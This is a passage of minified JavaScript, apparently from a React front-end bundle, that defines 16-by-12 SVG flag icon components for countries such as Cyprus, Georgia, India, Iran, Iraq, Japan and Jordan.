1.758-.065.744-1.857.744 1.857h1.754L4.76 4.096l.59 2.307-1.793-1.525ZM7.508 3.086l-.817.493.187-.962-.68-.72.92-.04.39-.898.39.899h.92l-.68.759.205.962-.835-.493Z"}),(0,s.createElement)("path",{fill:"#FECA00",d:"m8.508 5.086-.817.493.187-.962-.68-.72.92-.04.39-.898.39.899h.92l-.68.759.205.962-.835-.493Z"}),(0,s.createElement)("path",{fill:"#FECA00",d:"m7.508 7.086-.817.493.187-.962-.68-.72.92-.04.39-.898.39.899h.92l-.68.759.205.962-.835-.493Z"}),(0,s.createElement)("path",{fill:"#FECA00",d:"m5.508 8.086-.817.493.187-.962-.68-.72.92-.04.39-.898.39.899h.92l-.68.759.205.962-.835-.493Z"}))),Hl=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"CY_-_Cyprus_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#CY_-_Cyprus_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"CY_-_Cyprus_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#CY_-_Cyprus_svg__b)"},(0,s.createElement)("path",{fill:"#F57A01",d:"M12.284 2.38S9.643 3.839 9.31 3.93c-.332.093-.11.149-.683.112-.573-.037-1.7.206-1.958.04-.258-.167-.35-.462-.369.037-.019.498.388.923-.13.96-.516.037-.572-.444-.923-.148-.35.295-.646.96-.868.794-.221-.166-.535-.61-.443-.185.092.425.37 1.495 1.256 1.513.886.019 1.071-.295 1.108-.036.037.258.425.295.517-.037.092-.333.85.37 1.256.02.406-.351.739-.647.868-.85.13-.203.572-.166.997-.166.425 0 1.053.184.72-.222-.332-.406-.905-.59-.572-.997.332-.406 3.153-1.757 3.283-1.905.129-.148-.698-.702-1.085-.48Z"}),(0,s.createElement)("path",{fill:"url(#CY_-_Cyprus_svg__c)",d:"M12.284 2.38S9.643 3.839 9.31 3.93c-.332.093-.11.149-.683.112-.573-.037-1.7.206-1.958.04-.258-.167-.35-.462-.369.037-.019.498.388.923-.13.96-.516.037-.572-.444-.923-.148-.35.295-.646.96-.868.794-.221-.166-.535-.61-.443-.185.092.425.37 1.495 1.256 1.513.886.019 1.071-.295 1.108-.036.037.258.425.295.517-.037.092-.333.85.37 1.256.02.406-.351.739-.647.868-.85.13-.203.572-.166.997-.166.425 0 1.053.184.72-.222-.332-.406-.905-.59-.572-.997.332-.406 3.153-1.757 3.283-1.905.129-.148-.698-.702-1.085-.48Z"}),(0,s.createElement)("path",{fill:"#006B49",d:"M5.456 8.052c1.311 0 2.438 1.46 2.438 1.46.019.018.036.036.052.054L8 9.511s1.314-1.459 2.625-1.459-.944 2.124-2.403 2.124c0 0-.15-.014-.275-.076-.124.062-.274.076-.274.076-1.459 0-3.527-2.124-2.216-2.124Z"}),(0,s.createElement)("path",{fill:"url(#CY_-_Cyprus_svg__d)",d:"M5.456 8.052c1.311 0 2.438 1.46 2.438 1.46.019.018.036.036.052.054L8 9.511s1.314-1.459 2.625-1.459-.944 2.124-2.403 2.124c0 0-.15-.014-.275-.076-.124.062-.274.076-.274.076-1.459 0-3.527-2.124-2.216-2.124Z"}))),(0,s.createElement)("defs",null,(0,s.createElement)("linearGradient",{id:"CY_-_Cyprus_svg__c",x1:15,x2:15,y1:9,y2:1,gradientUnits:"userSpaceOnUse"},(0,s.createElement)("stop",{stopColor:"#EA5113"}),(0,s.createElement)("stop",{offset:1,stopColor:"#FC9B58"})),(0,s.createElement)("linearGradient",{id:"CY_-_Cyprus_svg__d",x1:11.019,x2:11.019,y1:10.176,y2:8.052,gradientUnits:"userSpaceOnUse"},(0,s.createElement)("stop",{stopColor:"#008057"}),(0,s.createElement)("stop",{offset:1,stopColor:"#00B77C"})))),Vl=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"TL_-_Timor-Leste_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#TL_-_Timor-Leste_svg__a)"},(0,s.createElement)("path",{fill:"#E31D1C",stroke:"#F7FCFF",d:"M0-.5h-.5v13h17v-13H0Z"}),(0,s.createElement)("path",{fill:"#FECA00",fillRule:"evenodd",d:"m0 0 12 6-12 6V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#272727",fillRule:"evenodd",d:"m0 0 8 6-8 6V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"m3.324 7.204-1.01 1.05-.105-1.492L.92 5.968l1.343-.421.22-1.48.93 1.172 1.355-.363-.7 1.387.681 1.339-1.426-.398Z",clipRule:"evenodd"}))),Sl=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"GE_-_Georgia_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#GE_-_Georgia_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"GE_-_Georgia_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fill:"#E31D1C",fillRule:"evenodd",clipRule:"evenodd",mask:"url(#GE_-_Georgia_svg__b)"},(0,s.createElement)("path",{d:"M7 0h2v5h7v2H9v5H7V7H0V5h7V0Z"}),(0,s.createElement)("path",{d:"M5 8.611 6.1 8.5v1S5 9.431 5 9.451c0 .02.1 1.049.1 1.049h-1l.08-1H3.1v-1l1.08.111L4.1 7.5h1L5 8.611ZM5 2.611 6.1 2.5v1S5 3.431 5 3.451c0 .02.1 1.049.1 1.049h-1l.08-1H3.1v-1l1.08.111L4.1 1.5h1L5 2.611ZM12 2.611l1.1-.111v1S12 3.431 12 3.451c0 .02.1 1.049.1 1.049h-1l.08-1H10.1v-1l1.08.111L11.1 1.5h1L12 2.611ZM12 8.611l1.1-.111v1S12 9.431 12 9.451c0 .02.1 1.049.1 1.049h-1l.08-1H10.1v-1l1.08.111L11.1 7.5h1L12 8.611Z"})))),Al=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"IN_-_India_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#IN_-_India_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"IN_-_India_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#IN_-_India_svg__b)"},(0,s.createElement)("path",{fill:"#FF8C1A",d:"M0 0v4h16V0H0Z"}),(0,s.createElement)("path",{fill:"#5EAA22",d:"M0 8v4h16V8H0Z"}),(0,s.createElement)("path",{fill:"#3D58DB",d:"M6 6a2 2 0 1 0 4 0 2 2 0 0 0-4 0Zm3.5 0a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0Z"}),(0,s.createElement)("path",{fill:"#3D58DB",d:"M7.997 6.43 7.58 7.967l.244-1.573-1.006 1.234.864-1.338-1.422.718 1.333-.871-1.59.078 1.572-.254-1.485-.575 1.54.407-1.123-1.13 1.24.999-.566-1.489.728 1.417L7.997 4l.089 1.59.727-1.417-.566 1.489 1.24-.998-1.122 1.13 1.54-.408-1.485.575 1.572.254-1.59-.078 1.332.871-1.421-.718.863 1.338L8.17 6.394l.244 1.573-.417-1.537Z"})))),Ul=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"ID_-_Indonesia_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#ID_-_Indonesia_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"ID_-_Indonesia_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#ID_-_Indonesia_svg__b)"},(0,s.createElement)("path",{fill:"#E31D1C",fillRule:"evenodd",d:"M0 0v6h16V0H0Z",clipRule:"evenodd"})))),xl=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"IR_-_Iran_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#IR_-_Iran_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"IR_-_Iran_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#IR_-_Iran_svg__b)"},(0,s.createElement)("path",{fill:"#5EAA22",fillRule:"evenodd",d:"M0 0v4h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#E31D1C",fillRule:"evenodd",d:"M0 8v4h16V8H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{stroke:"#F7FCFF",strokeWidth:.5,d:"M.186 8.683H-.95M-.962 9.134v-.261h.37v.252h.374v-.252h-.194M.17 9.123h-.19v-.245h.397v-.2.445h.18v-.445M.759 8.704v.42H.573M2.138 8.683H1M.989 9.134v-.261h.37v.252h.374v-.252h-.194M2.155 9.123h-.188v-.245h.396v-.2.445h.18v-.445M2.745 8.704v.42H2.56M4.124 8.683H2.987M2.975 9.134v-.261h.37v.252h.374v-.252h-.194M4.106 9.123h-.188v-.245h.397v-.2.445h.18v-.445M4.696 8.704v.42H4.51M6.075 8.683H4.938M4.926 9.134v-.261h.37v.252h.374v-.252h-.194M6.058 9.123h-.189v-.245h.397v-.2.445h.18v-.445M6.648 8.704v.42H6.46M8.026 8.683H6.89M6.877 9.134v-.261h.37v.252h.374v-.252h-.194M8.044 9.123h-.189v-.245h.397v-.2.445h.18v-.445M8.634 8.704v.42h-.187M10.012 8.683H8.875M8.863 9.134v-.261h.37v.252h.375v-.252h-.194M10.03 9.123H9.84v-.245h.397v-.2.445h.18v-.445M10.62 8.704v.42h-.187M11.998 8.683h-1.137M10.85 9.134v-.261h.37v.252h.374v-.252H11.4M12.016 9.123h-.189v-.245h.397v-.2.445h.18v-.445M12.606 8.704v.42h-.187M13.984 8.683h-1.137M12.835 9.134v-.261h.37v.252h.375v-.252h-.194M13.967 9.123h-.188v-.245h.396v-.2.445h.18v-.445M14.557 8.704v.42h-.186M15.935 8.683H14.8M14.787 9.134v-.261h.37v.252h.374v-.252h-.194M16.023 9.123h-.189v-.245h.397v-.2.445h.18v-.445M.186 2.583H-.95M-.962 3.034v-.261h.37v.252h.374v-.252h-.194M.17 3.023h-.19v-.245h.397v-.2.445h.18v-.446M.759 2.604v.42H.573M2.138 2.583H1M.989 3.034v-.261h.37v.252h.374v-.252h-.194M2.155 3.023h-.188v-.245h.396v-.2.445h.18v-.446M2.745 2.604v.42H2.56M4.124 2.583H2.987M2.975 3.034v-.261h.37v.252h.374v-.252h-.194M4.106 3.023h-.188v-.245h.397v-.2.445h.18v-.446M4.696 2.604v.42H4.51M6.075 2.583H4.938M4.926 3.034v-.261h.37v.252h.374v-.252h-.194M6.058 3.023h-.189v-.245h.397v-.2.445h.18v-.446M6.648 2.604v.42H6.46M8.026 2.583H6.89M6.877 3.034v-.261h.37v.252h.374v-.252h-.194M8.044 3.023h-.189v-.245h.397v-.2.445h.18v-.446M8.634 2.604v.42h-.187M10.012 2.583H8.875M8.863 3.034v-.261h.37v.252h.375v-.252h-.194M10.03 3.023H9.84v-.245h.397v-.2.445h.18v-.446M10.62 2.604v.42h-.187M11.998 2.583h-1.137M10.85 3.034v-.261h.37v.252h.374v-.252H11.4M12.016 3.023h-.189v-.245h.397v-.2.445h.18v-.446M12.606 2.604v.42h-.187M13.984 2.583h-1.137M12.835 3.034v-.261h.37v.252h.375v-.252h-.194M13.967 3.023h-.188v-.245h.396v-.2.445h.18v-.446M14.557 2.604v.42h-.186M15.935 2.583H14.8M14.787 3.034v-.261h.37v.252h.374v-.252h-.194M16.023 3.023h-.189v-.245h.397v-.2.445h.18v-.446"}),(0,s.createElement)("path",{fill:"#E31D1C",fillRule:"evenodd",d:"M7.303 4.125s.214.112.432.112c.22 0 .44-.112.44-.112v.15s-.241.112-.454.112c-.213 0-.418-.112-.418-.112v-.15Zm-1.575 1.77c0-.889 1.221-1.47 1.221-1.47s-.706.378-.706 1.433c0 1.055.367 1.512.367 1.512s-.882-.586-.882-1.475Zm4.119-.049c0-.889-1.22-1.421-1.22-1.421s.706.378.706 1.433c0 1.055-.367 1.512-.367 1.512s.881-.635.881-1.524Zm-3.285.243c-.047-.888.692-1.684.692-1.684s-.27.366-.214 1.42c.02.361.162.9.341 1.217v-2.58h.75v2.602c.18-.296.318-.802.338-1.169.055-1.053-.201-1.49-.201-1.49s.738.796.692 1.684c-.028.529-.435 1.088-.76 1.454.158.035.37.078.66.135.007.032-.058.03-.187.028a4.118 4.118 0 0 0-.65.028c-.133.136-.225.216-.225.216l-.037-.047c-.023.027-.037.047-.037.047s-.093-.08-.225-.216a4.118 4.118 0 0 0-.65-.028c-.13.003-.194.004-.188-.028.29-.057.502-.1.66-.135-.325-.366-.732-.925-.76-1.454Z",clipRule:"evenodd"})))),Tl=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"IQ_-_Iraq_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#IQ_-_Iraq_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"IQ_-_Iraq_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#IQ_-_Iraq_svg__b)"},(0,s.createElement)("path",{fill:"#BF2714",fillRule:"evenodd",d:"M0 0v4h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#272727",fillRule:"evenodd",d:"M0 8v4h16V8H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#009C4E",fillRule:"evenodd",d:"M2.668 6.406C3.123 7.058 2.5 7.5 2.5 7.5s.545 0 .753-.437h4.46V6.1s-.094-.463-.491-.463-.487.463-.487.463H5.167l1.517-1.34-.295-.26-1.685 1.488v.315h2.393v-.185s.013-.108.125-.108.084.108.084.108v.396H4.291v-.542l-.326.146v.396s-.4-.108-.653-.108c-.252 0-.267-.288-.267-.288l-.377.288Zm6.055.037.245.609h-.973V4.607l.41.132v1.704h.318Zm4.532 0 .245.609h-.973V4.607l.41.132v1.704h.319Zm-1.204-1.81-.254.171v1.637h-.258V5.128l-.425.245v1.068h-.286V5.7l-.323.208v.201s-.622.043-.622.922h2.165l.003-2.399Zm-8.305 2.85c.078 0 .142-.056.142-.125 0-.07-.064-.125-.142-.125-.078 0-.142.056-.142.125s.064.125.142.125Zm7.211-2.662c-.11.145-.443 0-.443 0l.946-.11c-.098.191-.503.11-.503.11Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#009C4E",d:"m2.5 7.5-.145-.204-.64.454H2.5V7.5Zm.168-1.094-.152-.199-.19.145.137.197.205-.143Zm.585.657v-.25h-.157l-.068.142.225.108Zm4.46 0v.25h.25v-.25h-.25Zm0-.963h.25v-.025l-.006-.025-.245.05Zm-.978 0v.25h.207l.039-.203-.246-.047Zm-1.568 0-.165-.188-.496.438h.661V6.1Zm1.517-1.34.166.188.212-.188-.212-.187-.166.187ZM6.39 4.5l.166-.187-.166-.146-.165.146.165.187ZM4.704 5.988 4.539 5.8l-.085.075v.113h.25Zm0 .315h-.25v.25h.25v-.25Zm2.393 0v.25h.25v-.25h-.25Zm0-.185-.249-.031-.001.015v.016h.25Zm.21 0-.243-.062-.008.03v.032h.25Zm0 .396v.25h.25v-.25h-.25Zm-3.016 0h-.25v.25h.25v-.25Zm0-.542h.25v-.386l-.352.158.102.228Zm-.326.146-.102-.229-.148.066v.163h.25Zm0 .396-.066.241.316.086v-.327h-.25Zm-.92-.396.25-.013-.025-.475-.377.289.152.199Zm5.923.934v.25h.37L9.2 6.958l-.232.094Zm-.245-.61.232-.093-.063-.156h-.169v.25Zm-.728.61h-.25v.25h.25v-.25Zm0-2.445.076-.238-.326-.104v.342h.25Zm.41.132h.25v-.183L8.481 4.5l-.076.239Zm0 1.704h-.25v.25h.25v-.25Zm5.095.609v.25h.37l-.138-.344-.232.094Zm-.245-.61.232-.093-.063-.156h-.168v.25Zm-.728.61h-.25v.25h.25v-.25Zm0-2.445.076-.238-.326-.104v.342h.25Zm.41.132h.25v-.183l-.173-.056-.077.239Zm0 1.704h-.25v.25h.25v-.25Zm-1.14-1.639-.14-.207-.11.074v.133h.25Zm.254-.172h.25v-.47l-.39.263.14.207Zm-.254 1.809v.25h.25v-.25h-.25Zm-.258 0h-.25v.25h.25v-.25Zm0-1.313h.25v-.433l-.375.217.125.216Zm-.425.245-.125-.216-.125.072v.144h.25Zm0 1.068v.25h.25v-.25h-.25Zm-.286 0h-.25v.25h.25v-.25Zm0-.741h.25v-.458l-.385.248.135.21Zm-.323.208-.136-.21-.114.073v.137h.25Zm0 .201.017.25.233-.017V6.11h-.25Zm-.622.922h-.25v.25h.25v-.25Zm2.165 0v.25h.25v-.25h-.25Zm-1.534-2.21-.03-.249-.923.108.853.37.1-.23Zm.443 0 .05-.245-.154-.031-.095.125.2.15Zm.503-.11.222.114.213-.416-.464.054.029.248ZM2.5 7.5l.145.204.002-.002a.278.278 0 0 0 .011-.008.885.885 0 0 0 .11-.097c.063-.064.144-.16.209-.285a.936.936 0 0 0 .107-.47 1.087 1.087 0 0 0-.21-.58l-.41.287c.089.128.117.233.12.313a.437.437 0 0 1-.052.221.669.669 0 0 1-.177.213l-.001.001h.001L2.5 7.5Zm.528-.545a.501.501 0 0 1-.31.253.842.842 0 0 1-.22.042H2.5a32.552 32.552 0 0 1 .001.5h.005a.723.723 0 0 0 .115-.009c.066-.008.158-.025.258-.059a1 1 0 0 0 .601-.512l-.451-.215Zm4.684-.142H3.253v.5h4.46v-.5Zm-.25-.713v.963h.5V6.1h-.5Zm-.24-.213c.082 0 .136.042.182.115a.525.525 0 0 1 .063.149.012.012 0 0 0 0-.001 31.831 31.831 0 0 1 .49-.1v-.004a.566.566 0 0 0-.008-.03.986.986 0 0 0-.122-.28.704.704 0 0 0-.605-.349v.5Zm-.487.213.246.048v.001l.001-.007A.482.482 0 0 1 7.042 6c.045-.073.098-.114.18-.114v-.5a.7.7 0 0 0-.605.35 1.018 1.018 0 0 0-.127.315l.245.048Zm-1.568.25h1.568v-.5H5.167v.5ZM6.52 4.573l-1.517 1.34.33.374 1.518-1.34-.331-.374Zm-.295.114.295.26.33-.374-.294-.26-.331.374ZM4.869 6.175l1.686-1.488-.331-.374L4.539 5.8l.33.375Zm.085.128v-.315h-.5v.315h.5Zm2.143-.25H4.704v.5h2.393v-.5Zm-.25.065v.185h.5v-.185h-.5Zm.375-.358a.366.366 0 0 0-.361.27.381.381 0 0 0-.011.047v.005l-.001.002v.002l.248.032.248.03v.004a.152.152 0 0 1-.005.02.105.105 0 0 1-.013.027.135.135 0 0 1-.105.061v-.5Zm.084.358a25.223 25.223 0 0 0 .243.06v-.003a.237.237 0 0 0 .004-.018.38.38 0 0 0-.005-.158.317.317 0 0 0-.114-.17.345.345 0 0 0-.212-.069v.5a.157.157 0 0 1-.092-.035.183.183 0 0 1-.066-.097.14.14 0 0 1 0-.07v-.001l.242.06Zm.25.396v-.396h-.5v.396h.5Zm-3.265.25h3.015v-.5H4.291v.5Zm-.25-.792v.542h.5v-.542h-.5Zm.026.374.326-.146-.204-.456-.326.145.204.457Zm.148.168v-.396h-.5v.396h.5Zm-.903.142c.1 0 .242.022.37.049a4.344 4.344 0 0 1 .217.05 221.104 221.104 0 0 1 .131-.482h-.001l-.004-.002a2.78 2.78 0 0 0-.067-.017 4.842 4.842 0 0 0-.174-.039 2.526 2.526 0 0 0-.472-.06v.5Zm-.267-.538-.25.013a.152.152 0 0 1 0 .01.543.543 0 0 0 .01.07c.009.041.024.1.054.16a.49.49 0 0 0 .453.285v-.5c-.012 0-.008-.003 0 .003.004.003.001.003-.004-.007a.16.16 0 0 1-.014-.05V6.1v.003l-.25.014Zm-.225.486.377-.288-.304-.397-.377.288.304.397Zm6.38.354-.245-.609-.464.187.245.609.464-.187Zm-1.205.344h.973v-.5h-.973v.5Zm-.25-2.695v2.445h.5V4.607h-.5ZM8.48 4.5l-.41-.13-.152.475.41.132.152-.477Zm.174 1.943V4.739h-.5v1.704h.5Zm.068-.25h-.318v.5h.318v-.5Zm5.009.765-.244-.609-.464.187.244.609.464-.187Zm-1.205.344h.973v-.5h-.973v.5Zm-.25-2.695v2.445h.5V4.607h-.5Zm.737-.107-.41-.13-.153.475.41.132.153-.477Zm.173 1.943V4.739h-.5v1.704h.5Zm.069-.25h-.319v.5h.319v-.5ZM11.936 5.01l.254-.171-.28-.415-.254.172.28.414Zm.11 1.43V4.804h-.5v1.637h.5Zm-.508.25h.258v-.5h-.258v.5Zm-.25-1.563v1.313h.5V5.128h-.5Zm-.05.462.425-.245-.25-.433-.425.245.25.433Zm.125.851V5.373h-.5v1.068h.5Zm-.536.25h.286v-.5h-.286v.5Zm-.25-.991v.741h.5V5.7h-.5Zm.062.418.323-.208-.27-.42-.324.208.271.42Zm.115-.009v-.201h-.5v.201h.5Zm-.622.922c0-.372.127-.526.214-.593a.418.418 0 0 1 .173-.079h.007-.004l-.018-.25-.018-.25h-.003a.26.26 0 0 0-.015.002.615.615 0 0 0-.134.03.917.917 0 0 0-.295.152c-.224.174-.407.482-.407.988h.5Zm1.915-.25H9.883v.5h2.165v-.5Zm-.247-2.149-.003 2.4h.5l.003-2.4h-.5ZM3.638 7.358c0-.046.02-.08.043-.1a.1.1 0 0 1 .065-.025v.5c.186 0 .392-.14.392-.375h-.5Zm.108.125a.1.1 0 0 1-.065-.026.132.132 0 0 1-.043-.1h.5c0-.235-.206-.374-.392-.374v.5Zm.108-.125c0 .045-.021.08-.043.099a.1.1 0 0 1-.065.026v-.5c-.186 0-.392.14-.392.375h.5Zm-.108-.125a.1.1 0 0 1 .065.026c.022.019.043.053.043.099h-.5c0 .235.206.375.392.375v-.5Zm6.768-2.412-.1.23h.003l.005.002a.574.574 0 0 0 .064.025c.04.013.098.031.162.043a.71.71 0 0 0 .23.008.418.418 0 0 0 .278-.157l-.398-.302c.025-.034.055-.036.048-.035a.23.23 0 0 1-.066-.006.668.668 0 0 1-.12-.035l-.007-.002-.1.229Zm.917-.358-.946.11.057.496.947-.11-.058-.496Zm-.474.358-.049.245h.003a.271.271 0 0 0 .023.005 1.303 1.303 0 0 0 .246.016.788.788 0 0 0 .247-.044.459.459 0 0 0 .255-.218l-.445-.228c.014-.026.031-.028.016-.023a.302.302 0 0 1-.089.014.787.787 0 0 1-.157-.012h-.001l-.049.245Z"})))),Dl=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"IL_-_Isreal_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#IL_-_Isreal_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"IL_-_Isreal_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fill:"#3D58DB",fillRule:"evenodd",clipRule:"evenodd",mask:"url(#IL_-_Isreal_svg__b)"},(0,s.createElement)("path",{d:"M0 2v1.783h16V2H0ZM0 8.174V10h16V8.174H0Z"}),(0,s.createElement)("path",{d:"M5.69 7.47h4.69L8.057 3.46 5.691 7.47Zm3.735-.55H6.654l1.4-2.371 1.371 2.37Z"}),(0,s.createElement)("path",{d:"M5.546 4.463h4.794L8.068 8.485 5.546 4.463Zm3.852.55H6.54L8.043 7.41l1.355-2.398Z"})))),Ll=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"JP_-_Japan_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#JP_-_Japan_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"JP_-_Japan_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#JP_-_Japan_svg__b)"},(0,s.createElement)("path",{fill:"#E31D1C",fillRule:"evenodd",d:"M8 9.75a3.75 3.75 0 1 0 0-7.5 3.75 3.75 0 0 0 0 7.5Z",clipRule:"evenodd"})))),Nl=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"JO_-_Jordan_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#JO_-_Jordan_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"JO_-_Jordan_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#JO_-_Jordan_svg__b)"},(0,s.createElement)("path",{fill:"#272727",d:"M0 0v4h16V0H0Z"}),(0,s.createElement)("path",{fill:"#093",d:"M0 8v4h16V8H0Z"})),(0,s.createElement)("path",{fill:"#E31D1C",fillRule:"evenodd",d:"M0 0v12l10-6L0 0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"JO_-_Jordan_svg__c",width:10,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12l10-6L0 